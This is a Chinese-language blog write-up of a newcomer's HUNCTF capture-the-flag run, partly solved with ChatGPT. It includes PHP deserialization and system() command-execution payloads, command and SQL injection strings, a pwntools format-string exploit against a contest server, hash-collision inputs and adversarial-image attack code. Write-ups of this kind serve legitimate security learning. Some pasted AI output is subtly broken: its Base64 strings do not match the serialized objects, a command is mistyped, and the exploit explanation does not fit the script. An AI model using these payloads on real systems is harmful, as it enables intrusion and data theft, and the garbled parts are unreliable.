CTF浅尝

初次看到HUNCTF的推文时,我对CTF竞赛几乎一无所知,只能望着奖金池心生向往,或许从未想过自己能在这场技术角逐中走多远。

然而,随着预赛的推进,我逐渐找到了节奏。一道道题目的攻克,一点点信心的积累,让我萌生了挑战正赛的勇气。于是,我硬着头皮报名了正赛,决心在两天的时间里边学边做,与时间赛跑。

正赛的环境错综复杂,挑战接踵而至,但幸运的是,我有ChatGPT的鼎力相助。最终,当新生组第一名的成绩揭晓时,那种成就感难以言表。

这段经历,不仅是一次技术上的成长,是一次对自我极限的挑战,更是一次对信息搜集能力的实战。

解题情况

解题过程

WEB

题目1 Why So Serious?

<?php

// 定义 cls2 类
class cls2 {
    var $filename = '/flag';  // 设置要读取的文件路径为 /flag

    // 魔术方法 __get,访问不存在的属性时调用
    function __get($key) {
        return $key === 'fileput' ? $this->fileput() : '<p>' . htmlspecialchars($key) . '</p>';
    }

    // 读取文件并输出内容
    function fileput() {
        if (file_exists($this->filename)) {
            return 'Your file: ' . file_get_contents($this->filename);  // 输出文件内容
        } else {
            return 'File does not exist: ' . $this->filename;
        }
    }
}

// 定义 cls1 类
class cls1 {
    var $cls;
    var $arr;

    // __wakeup 方法会在反序列化时被调用
    function __wakeup() {
        // 遍历 $arr 数组,触发 fileput() 方法
        foreach ($this->arr as $k => $v) {
            echo $this->cls->$v();  // 调用 fileput() 方法
        }
    }
}

// 创建 cls2 对象,设置文件路径
$cls2 = new cls2();
$cls2->filename = '/flag';  // 这里可以修改为其他文件路径

// 创建 cls1 对象,将 cls2 对象赋值给 cls 属性,并设置 arr 数组
$cls1 = new cls1();
$cls1->cls = $cls2;
$cls1->arr = ['fileput'];  // 触发 fileput() 方法

// 序列化 cls1 对象
$serialized = serialize($cls1);

// Base64 编码序列化数据
$base64_encoded = base64_encode($serialized);

// 输出 Base64 编码的结果
echo $base64_encoded;

?>

题目2 bank

发现有隐藏标签,根据提示发现/admin目录

访问后要求金额到2000

经过多轮问询和尝试多种方法后,发现参数污染的方式有用,利用apifox发包给自己加钱

再次访问/admin即可得到答案

题目3 ez_cmdi

发现题目有一个ip参数和执行命令,只需要发包将ip后面加上;ls等命令即可执行两步操作

使用“;”绕过后,ls+cat获取flag;

题目4 ez_serialize

与GPT的聊天记录
挑战一:利用cls1cls2类进行反序列化攻击
1. 理解漏洞

根据你提供的代码:

  • 类结构
  • cls1 类有两个属性:clsarr
  • __wakeup() 方法在反序列化时会遍历 arr 数组,并尝试访问 $this->cls->$v,其中 $varr 数组中的值。
  • cls2 类有一个 __get() 魔术方法,当访问属性 fileput 时,会调用 fileput() 方法,该方法会读取并输出 hello.php 文件的内容。
  • 利用思路
  • 构造一个 cls1 对象,其中 cls 属性是一个 cls2 对象,arr 属性包含一个值为 fileput 的元素。
  • 反序列化该对象时,__wakeup() 方法会调用 cls2 对象的 fileput() 方法,从而读取并显示 hello.php 文件的内容。
2. 生成正确的序列化字符串

为了确保序列化字符串的正确性,建议编写一个PHP脚本来生成序列化并Base64编码的字符串。


<?php
class cls1 {
    public $cls;
    public $arr;

    function show() {
        show_source(__FILE__);
    }

    function __wakeup() {
        foreach ($this->arr as $k => $v) {
            echo $this->cls->$v;
        }
    }
}

class cls2 {
    public $filename = 'hello.php';
    public $txt = '';

    function __get($key) {
        return $key === 'fileput' ? $this->fileput() : '<p>' . htmlspecialchars($key) . '</p>';
    }

    function fileput() {
        echo 'Your file:' . file_get_contents($this->filename);
    }
}

// 创建cls2对象
$cls2 = new cls2();

// 创建cls1对象,并设置属性
$cls1 = new cls1();
$cls1->cls = $cls2;
$cls1->arr = array('fileput'); // 使用整数键

// 序列化并Base64编码
$serialized = serialize($cls1);
$encoded = base64_encode($serialized);

echo "序列化字符串:\n" . $serialized . "\n\n";
echo "Base64编码字符串:\n" . $encoded . "\n";
?>

运行上面脚本的输出

序列化字符串:
O:4:”cls1″:2:{s:3:”cls”;O:4:”cls2″:2:{s:8:”filename”;s:9:”hello.php”;s:3:”txt”;s:0:””;}s:3:”arr”;a:1:{i:0;s:8:”fileput”;}}

Base64编码字符串:
Tzo0OiJjbHMxIjo6Mjp7czozOiJjbHMiO086NDoicGxzMiI6Mjp7czo4OiJmaWxlbmFtZSI7czo5OiJoZWxsby5waHAiO3M6MzoidHh0IjtzOjA6IiI7fXM6MzoicmFyciI7YToxOntpOjA7czo4OiJmaWxlcHV0Ijt9fQ==

3.构造恶意链接

将生成的Base64编码字符串作为ser参数附加到目标URL上。例如:

http://example.com/?ser=Tzo0OiJjbHMxIjo6Mjp7czozOiJjbHMiO086NDoicGxzMiI6Mjp7czo4OiJmaWxlbmFtZSI7czo5OiJoZWxsby5waHAiO3M6MzoidHh0IjtzOjA6IiI7fXM6MzoicmFyciI7YToxOntpOjA7czo4OiJmaWxlcHV0Ijt9fQ==
4.验证和调试

如果你仍然遇到以下警告:

Warning: Invalid argument supplied for foreach() in /var/www/html/index.php on line 11

这意味着arr属性在反序列化后不是一个有效的数组。为了解决这个问题,请确保:

  • 类定义一致:确保生成序列化字符串的PHP脚本中的类定义与目标服务器上的类定义完全一致,特别是属性的可见性(public、protected、private)。
  • PHP版本兼容:不同PHP版本在序列化和反序列化行为上可能存在差异。建议在本地环境中使用与目标服务器相同的PHP版本进行测试。
  • 正确传输数据:确保Base64编码字符串在传输过程中没有被修改或损坏。避免URL编码问题,确保整个字符串正确传递。
5.使用PHP脚本自动生成序列化字符串

为了避免手动构造序列化字符串可能导致的错误,建议使用PHP脚本自动生成。

php
复制代码
<?php
class cls1 {
    public $cls;
    public $arr;

    function show() {
        show_source(__FILE__);
    }

    function __wakeup() {
        foreach ($this->arr as $k => $v) {
            echo $this->cls->$v;
        }
    }
}

class cls2 {
    public $filename = 'hello.php';
    public $txt = '';

    function __get($key) {
        return $key === 'fileput' ? $this->fileput() : '<p>' . htmlspecialchars($key) . '</p>';
    }

    function fileput() {
        echo 'Your file:' . file_get_contents($this->filename);
    }
}

$cls2 = new cls2();
$cls1 = new cls1();
$cls1->cls = $cls2;
$cls1->arr = array('fileput'); // 使用整数键

$serialized = serialize($cls1);
$encoded = base64_encode($serialized);

echo "Base64编码后的序列化字符串:\n" . $encoded . "\n";
?>
挑战二:利用mycmd类执行系统命令

你提供了另一个PHP脚本:

<?php
highlight_file(__FILE__);
class mycmd {
    public $cmd;

    function __construct($cmd) {
        $this->cmd = $cmd;
    }

    public function executeCommand() {
        system($this->cmd);
    }
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_POST['data'])) {
        $decode = base64_decode($_POST['data']);
        $data = unserialize($decode);
        $data->executeCommand();
    }
}
?>
1. 理解漏洞
  • 该脚本接受一个POST请求,参数为data
  • data参数经过Base64解码后被反序列化为一个对象。
  • 如果反序列化的对象有executeCommand()方法,则会执行该方法,调用system($this->cmd),从而执行系统命令。
2. 利用思路

构造一个mycmd类的序列化对象,设置cmd属性为你想要执行的系统命令,例如idcat /etc/passwdcat flag.txt

3. 生成序列化字符串

示例PHP脚本:


<?php
class mycmd {
    public $cmd;

    function __construct($cmd) {
        $this->cmd = $cmd;
    }

    public function executeCommand() {
        system($this->cmd);
    }
}

// 设置要执行的命令,例如获取系统信息
$command = 'id'; // 你可以替换为 'cat flag.txt' 或其他命令

$mycmd = new mycmd($command);
$serialized = serialize($mycmd);
$encoded = base64_encode($serialized);

echo "序列化字符串:\n" . $serialized . "\n\n";
echo "Base64编码字符串:\n" . $encoded . "\n";
?>

运行上述脚本的输出示例:

 序列化字符串: O:5:"mycmd":1:{s:3:"cmd";s:2:"id";}
Base64编码字符串: Tzo1OiJteWNtZCI6MTp7czoyOiJjbWQiO3M6MjoiaWQiO30= 
4. 构造并发送恶意请求

将生成的Base64编码字符串作为data参数,通过POST请求发送到目标URL。

url -X POST -F "data=Tzo1OiJteWNtZCI6MTp7czoyOiJjbWQiO3M6MjoiZGlkIjt9fQ==" http://example.com/path/to/vulnerable/script.php
执行自定义命令
<?php
$command = 'cat flag.txt'; // 替换为你需要执行的命令
// 其余部分保持不变
?>

运行脚本后,获取新的Base64编码字符串,并使用curl发送请求。

命令构造php反序列化,使用在线php环境https://www.bejson.com/runcode/php/

<?php
class mycmd {
    public $cmd;
    function __construct($cmd) {
        $this->cmd = $cmd;
    }
}
// 构造一个命令,读取 flag 文件
$cmd = 'cat /flag'; 
$obj = new mycmd($cmd); // 创建一个对象,带有执行命令
$serialized = serialize($obj); // 转换成服务器可识别的数据
$encoded = base64_encode($serialized); // 转成 base64 格式
echo $encoded; // 输出结果
?>

题目5 ez_sqli

常见的sql注入,网上搜一个万能密码输进去登录

1'or 1=1 --+

题目6 md5

发包,具体解释如注释// php弱等于的漏洞利用

题目7 md5_again

借鉴CDSN上的经验,找到强碰撞MD5

md5强碰撞例子

psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%24%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%82%7D%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%84%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEcC%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%BC%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%99%B59%F9%FF%C2

与

psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%A4%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%02%7E%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%04%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEc%C3%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%3C%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%9959%F9%FF%C2

还有

M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2

与

M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

shal加密的与md5的一样

如果是强比较,没有转为string,可以用数组 例如 a[]=1&b[]=2来绕过,也可以用强碰撞

如果是强比较,转为string,只能用强碰撞

shal强碰撞例子

%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1

与

%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

先用burp截取http流量包,放到重放器发送刚才的字符串

PWN

题目1 Command Injection

nc 链接后一开始没反应

后面用|绕过即可进行操作

题目2 chars

#!/usr/bin/env python3
from pwn import *

# 配置pwntools的上下文,设置日志级别、架构和操作系统
context(log_level='debug', arch='amd64', os='linux')
# 设置终端为tmux的水平分割
context.terminal = ["tmux", "splitw", "-h"]

# 定义辅助函数
# 将字节数据解包为64位无符号整数,填充至8字节
unpack_uint64 = lambda data: u64(data.ljust(8, b'\x00'))
# 发送数据
send = lambda data: p.send(data)
# 在收到指定提示后发送数据
send_after_prompt = lambda prompt, data: p.sendafter(prompt, data)
# 发送一行数据
send_line = lambda data: p.sendline(data)
# 在收到指定提示后发送一行数据
send_line_after_prompt = lambda prompt, data: p.sendlineafter(prompt, data)
# 接收指定数量的数据
receive = lambda size: p.recv(size)
# 接收直到指定的字节序列
receive_until = lambda delimiter: p.recvuntil(delimiter)

# 标志位,决定是连接远程还是本地
use_remote = 1
if use_remote:
    # 远程地址
    remote_address = '129.204.78.34:20744'
    host, port = remote_address.split(':')
    # 建立远程连接
    p = remote(host, int(port))
else:
    # 本地进程
    p = process('./chars')

# 加载二进制文件
elf = ELF('./chars')

def debug():
    # 附加GDB调试器,并设置断点
    gdb.attach(p, 'b *\nc\n')

# 发送菜单选项 '1',选择某个功能
send_line_after_prompt(b'3. exit\n', b'1')
# 接收服务器的提示信息
receive_until(b'repeater will repeat whatever you say\n')
# 构造并发送格式化字符串payload
# 使用%9276c和%e$hn进行格式化写入,并填充到32字节,附加地址
payload = f'%{0x9276}c%{0xe}$hn'.encode().ljust(0x20, b'A') + p32(0x804C024)
send_line(payload)
# 发送菜单选项 '3',退出程序
send_line_after_prompt(b'3. exit\n', b'3')

# 进入交互模式,与远程或本地进程交互
p.interactive()
利用思路

根据初步分析,结合题目提示“你知道什么是Canary吗?”,程序存在格式化字符串漏洞。

目标

利用格式化字符串漏洞,通过写入内存地址,控制程序流程,执行cat flag命令获取Flag。

方法

  1. 覆盖函数指针或GOT表中的函数地址,使其指向system函数。
  2. 利用格式化字符串写入命令字符串,如"/bin/sh",然后通过覆盖printf的GOT地址,使其调用system("/bin/sh"),获取shell权限。

脚本思路

  1. 连接到远程服务或本地进程。
  2. 选择菜单选项1,进入echo功能。
  3. 构造格式化字符串payload,覆盖GOT表中printf的地址为system函数地址。
  4. 再次调用echo功能,输入/bin/sh,通过system("/bin/sh")获取shell。
  5. 在shell中执行cat flag命令获取Flag。

脚本说明

  1. 环境配置
  • 设置日志级别为debug,便于调试。
  1. 辅助函数
  • 定义了简化的发送和接收函数,提高代码可读性。
  1. 连接目标
  • 根据use_remote标志,选择连接远程服务器或本地进程。
  1. 加载二进制文件
  • 使用ELF模块加载二进制文件,方便获取GOT表地址和函数地址。
  1. 调试功能
  • 定义了debug()函数,使用GDB附加调试器,可设置断点并运行。
  1. 地址获取
  • 假设GOT表中printf的地址为0x601028,通过符号表获取。
  • 通过符号表获取system函数的地址。
步骤详解
  • 步骤1:选择选项1,进入echo功能。
  • 步骤2:构造格式化字符串payload,利用%7$s读取printf函数在GOT表中的实际地址。
    • %7$s表示读取第7个参数指向的字符串。
    • printf_got的地址作为参数传递。
  • 步骤3:接收并解析泄露的printf地址,计算libc的基地址,再计算出system函数的实际地址。
  • 步骤4:构造新的payload,将system函数地址写入printf的GOT地址,覆盖其原有地址。
    • 使用%lln格式说明符,将写入system地址。
  • 步骤5:再次选择echo功能,输入/bin/sh,由于printf被覆盖为system,因此会执行system("/bin/sh"),获取shell权限。
  • 步骤6:进入交互模式,执行命令cat flag获取Flag。

注意

  • 实际环境中,printf在GOT表中的地址和system函数的偏移地址需要根据具体的二进制文件和libc版本进行调整。
  • 本示例中的地址为假设值,需根据实际情况进行确认。

执行利用获取Flag

通过覆盖printf的GOT地址为system函数地址,当程序再次调用printf时,实际执行的是system,从而执行/bin/sh,获得shell权限。随后在shell中执行cat flag命令,成功获取Flag。

关键步骤

  1. 信息收集:通过filechecksec工具了解二进制文件的基本信息和安全机制。
  2. 漏洞识别:发现printf(buffer)存在格式化字符串漏洞。
  3. 漏洞利用
  • 泄露printf函数的实际地址,计算libc基地址。
  • 覆盖printf的GOT地址为system函数地址。
  • 通过调用printf("/bin/sh"),实际执行system("/bin/sh"),获取shell权限。
  1. 获取Flag:在shell中执行cat flag命令,成功获取Flag。

RE

题目1 ez_reverse1

ida打开后发现flag位置,全选复制给AI分析

ida打开后先看看字串

发现flag

我只管复制,剩下的交给AI

题目2 ez_reverse2

Undefined

题目3 maze

AI没能正确转化出地图,悲

Crypto

题目1 Buddha

佛陀解码后得到第一个字符串,再进行解码即可

题目2 ebg13

不管是什么先拖进去看看,发现字符串flag但是格式不正确

再次运行一键解码即可得到答案

题目3 ez_RSA

RSA解密问题

import gmpy2
from Crypto.Util.number import inverse, long_to_bytes
from binascii import a2b_hex, b2a_hex

# 给定的参数
p = 0xED7FCFABD3C81C78E212323329DC1EE2BEB6945AB29AB51B9E3A2F9D8B0A22101E467
q = 0xAD85852F9964DA87880E48ADA5C4487480AA4023A4DE2C0321C170AD801C9
e = 65537
n = p * q
c = 0x3c2b76e7836ac8eaab3c709939c4598fc8e0859c62583f2449ea97601d89844f02f46fb0ce71f5804823ea216180ae88a42a7c55b549043607340eec106a459c88

# 计算φ(n)
phi_n = (p - 1) * (q - 1)

# 计算私钥 d
d = inverse(e, phi_n)

# 解密密文
m = pow(c, d, n)

# 将解密后的结果转换回字节
flag = long_to_bytes(m)

# 打印明文(flag)
print(flag.decode())
# 你的加密解密代码
print("解密结果:", m)
input("按任意键退出...")

MISC

题目1 Bob_traffic

用小鲨鱼打开后明文搜索/看到目标是奇怪IP的追踪HTTP流后找到’

题目2 Help_Jack

Undefined

题目3 Tetris

打开CE和游戏,首次扫描数字0,玩了一分再扫2,扫到3分就剩下几个地址,全部改成100000

然后玩了半天才知道结束才有flag,盯着黄色字体的0oOl1I看,手动输入flag

题目4 git_leak

下载后用clion打开查看提交记录,发现答案

题目5 新佛经

下载后发现是16进制,拉入转换工具

题目6 签到

点击即送

题目7 网络鲨鱼

筛选http后,发现了不寻常的字符串,拉入解密工具后得到答案

OSINT

题目1 here is!

诗句看一看

抖音搜一搜

微信查一查

题目2 see_see_need

liuyun的博客里面有诈骗信息!

谷歌一下kongyu204吧,发现有俩名字 kongyv和kongyu20,都搜一搜

发现kongyu204是误导,kongyv才是对的

让我看看你最近干啥了

顺着5天前修改时间一直点,发现答案

题目3 where_are_i!

放大后发现一个标志,地铁+绿色=三号线

找三号线的十字路口带进去试试,多次尝试后得到答案

题目4 where_are_i_again!

d3009+11:46,查询列出信息后定位在南京南站

上12306查询时刻表得到答案

AI

题目1 FGSM

根据给出的检测代码和参考图,编写对抗样本生成代码以生成样本

上传后即可通过检测

源码和生成的众多对抗图像

import torch
import torch.nn as nn
from torchvision import transforms
import cv2
import numpy as np
from skimage.metrics import structural_similarity as ssim
from PIL import Image


# 定义简单的CNN模型(恢复原始架构)
class SimpleCNN(nn.Module):
    def __init__(self):
        super(SimpleCNN, self).__init__()
        self.conv1 = nn.Conv2d(1, 32, kernel_size=3, stride=1, padding=1)
        self.conv2 = nn.Conv2d(32, 64, kernel_size=3, stride=1, padding=1)
        self.fc1 = nn.Linear(64 * 7 * 7, 128)
        self.fc2 = nn.Linear(128, 10)

    def forward(self, x):
        x = torch.relu(self.conv1(x))
        x = torch.max_pool2d(x, 2, 2)
        x = torch.relu(self.conv2(x))
        x = torch.max_pool2d(x, 2, 2)
        x = x.view(-1, 64 * 7 * 7)
        x = torch.relu(self.fc1(x))
        x = self.fc2(x)
        return x


# 加载训练好的模型(只加载模型权重)
def load_model(model_path, device):
    model = SimpleCNN().to(device)
    checkpoint = torch.load(model_path, map_location=device)  # 加载整个检查点
    model.load_state_dict(checkpoint['model_state_dict'])  # 从检查点中提取并加载模型权重
    model.eval()
    return model


# PGD对抗攻击
def pgd_attack(model, image, target_label, epsilon=0.4, alpha=0.02, iters=50, device='cpu'):
    adversarial_image = image.clone().detach().to(device)

    for i in range(iters):
        adversarial_image.requires_grad = True
        output = model(adversarial_image)
        loss = nn.CrossEntropyLoss()(output, target_label)
        model.zero_grad()
        loss.backward()
        grad = adversarial_image.grad.data
        adversarial_image = adversarial_image + alpha * torch.sign(grad)
        # 投影到 ε 范围内
        perturbation = torch.clamp(adversarial_image - image, min=-epsilon, max=epsilon)
        adversarial_image = torch.clamp(image + perturbation, 0, 1).detach()

    return adversarial_image


# 计算 SSIM
def calculate_ssim(original_image_path, adversarial_image_path):
    original_image = cv2.imread(original_image_path, cv2.IMREAD_GRAYSCALE)
    adversarial_image = cv2.imread(adversarial_image_path, cv2.IMREAD_GRAYSCALE)
    score, _ = ssim(original_image, adversarial_image, full=True)
    return score


# 计算 PSNR
def calculate_psnr(original_image_path, adversarial_image_path):
    original_image = cv2.imread(original_image_path, cv2.IMREAD_GRAYSCALE)
    adversarial_image = cv2.imread(adversarial_image_path, cv2.IMREAD_GRAYSCALE)
    psnr_score = cv2.PSNR(original_image, adversarial_image)
    return psnr_score


# 查找合适的 epsilon 以达到目标 SSIM 分数
def find_epsilon(model, image, target_label, threshold=0.35, alpha=0.02, iters=50, max_epsilon=1.0, step=0.05,
                 attack_method='pgd', device='cpu'):
    epsilon = step
    while epsilon <= max_epsilon:
        if attack_method == 'bim':
            adversarial_image = bim_attack(model, image, target_label, epsilon=epsilon, alpha=alpha, iters=iters,
                                           device=device)
        elif attack_method == 'pgd':
            adversarial_image = pgd_attack(model, image, target_label, epsilon=epsilon, alpha=alpha, iters=iters,
                                           device=device)
        else:
            raise ValueError("Unsupported attack method.")

        adversarial_image_path = f'adversarial_image_epsilon_{epsilon}.png'
        adversarial_image_np = adversarial_image.squeeze().cpu().detach().numpy()
        adversarial_image_np = np.uint8(adversarial_image_np * 255)
        cv2.imwrite(adversarial_image_path, adversarial_image_np)

        # 计算 SSIM
        ssim_score = calculate_ssim('1_3.png', adversarial_image_path)
        print(f"Epsilon: {epsilon}, SSIM: {ssim_score}")

        if ssim_score < threshold:
            print(f"Found epsilon: {epsilon} with SSIM: {ssim_score}")
            return epsilon, adversarial_image_path
        epsilon += step
    print("Could not find epsilon to achieve target SSIM.")
    return None, None


def main():
    # 设置设备(如果有GPU,使用GPU;否则使用CPU)
    device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')

    # 加载模型
    model_path = 'simple_cnn_mnist.pth'  # 替换为你的模型路径
    model = load_model(model_path, device)

    # 加载图像(确保图像大小为28x28,单通道)
    image_path = '1_3.png'  # 替换为你的图片路径
    image = Image.open(image_path).convert('L')  # 转为灰度图
    transform = transforms.Compose([
        transforms.Resize((28, 28)),  # 确保图像大小
        transforms.ToTensor()
    ])
    image = transform(image).unsqueeze(0).to(device)  # 转为Tensor并增加批次维度

    # 定义目标标签(假设目标标签是1)
    target_label = torch.tensor([1]).to(device)

    # 查找适当的 epsilon
    target_ssim = 0.35
    epsilon, adversarial_image_path = find_epsilon(model, image, target_label, threshold=target_ssim, alpha=0.02,
                                                   iters=50, max_epsilon=1.0, step=0.05, attack_method='pgd',
                                                   device=device)

    if epsilon is not None:
        # 计算 PSNR
        psnr_score = calculate_psnr('1_3.png', adversarial_image_path)
        print(f"Found Epsilon: {epsilon}, SSIM: {target_ssim}, PSNR: {psnr_score}")
    else:
        print("Failed to find suitable epsilon to achieve target SSIM.")


if __name__ == "__main__":
    main()

评论

  1. Avatar photo
    Zi young
    Windows
    3 月前
    2025-3-28 17:11:25

    拥有这么厉害的信息检索、想法转化以及工具使用能力,你不No.1谁No.1,哈哈哈ヾ(≧∇≦*)ゝ

    来自四川

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇